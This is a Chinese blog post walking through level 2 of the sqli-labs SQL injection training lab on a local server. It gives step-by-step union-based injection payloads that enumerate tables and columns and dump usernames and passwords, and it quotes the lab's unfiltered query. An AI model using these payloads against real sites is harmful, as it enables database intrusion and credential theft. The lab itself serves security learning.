接上篇博客:https://blog.51cto.com/tdcqvip/2060816


来到第二关:


http://127.0.0.1/sqli-labs-master/Less-2/


sqli-labs-master第二关:Error Based- Intiger_第1张图片


访问http://127.0.0.1/sqli-labs-master/Less-2/?id=1


sqli-labs-master第二关:Error Based- Intiger_第2张图片


判断是否有注入点:

and 1 = 1 返回正常

http://127.0.0.1/sqli-labs-master/Less-2/?id=1 and 1 = 1 %23


sqli-labs-master第二关:Error Based- Intiger_第3张图片


and 1 = 2 返回失败

http://127.0.0.1/sqli-labs-master/Less-2/?id=1 and 1 = 2 %23


sqli-labs-master第二关:Error Based- Intiger_第4张图片


说明存在注入点:

order by  n 查看字段

当n=3时返回正确

http://127.0.0.1/sqli-labs-master/Less-2/?id=1 order by 3  %23



sqli-labs-master第二关:Error Based- Intiger_第5张图片


当=4时返回错误

http://127.0.0.1/sqli-labs-master/Less-2/?id=1 order by 4  %23


sqli-labs-master第二关:Error Based- Intiger_第6张图片


说明字段是3

用union select 进行联合查询:

并用报错的方式显示显示位:

http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,2,3  %23


sqli-labs-master第二关:Error Based- Intiger_第7张图片


通过上图可以看到显示位在2,3上。

用version()和database()查看php版本和当前网站用的数据库名字


sqli-labs-master第二关:Error Based- Intiger_第8张图片



我们通过上图可以看到数据库是“security” 版本是5.5.53

接下来我们查看数据库security下的表:

http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'security' %23


sqli-labs-master第二关:Error Based- Intiger_第9张图片


通过上图可以看到有users表

查看users表里的列

http://127.0.0.1/sqli-labs-master/Less-2/?id=-1  union select 1, group_concat(column_name),3 from information_schema.columns where table_name = 'users' %23

sqli-labs-master第二关:Error Based- Intiger_第10张图片


接下来就是查看username和password里的内容:

http://127.0.0.1/sqli-labs-master/Less-2/?id=-1  union select 1,username,password from users where id = 2 %23

sqli-labs-master第二关:Error Based- Intiger_第11张图片


结束:

声明:源代码被我改动了,所以在注入的时候才会显示出来查询语句


接下来看看源代码:





Less-2 **Error Based- Intiger**







Welcome    Dhakkan 
"; if($row) {    echo "";    echo 'Your Login name:'. $row['username'];    echo "
";    echo 'Your Password:' .$row['password'];    echo "";    } else  { echo ''; print_r(mysql_error()); echo "";   } } else {  echo "Please input the ID as parameter with numeric value"; } ?>  




通过源代码我们可以看到,在连接数据库查询的时候并没有进行任何过滤

与第一关不同的地方就是

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

这句,没有“''”符号。


利用方式大致相同。


第三关尽快更新


微信公众号:

sqli-labs-master第二关:Error Based- Intiger_第12张图片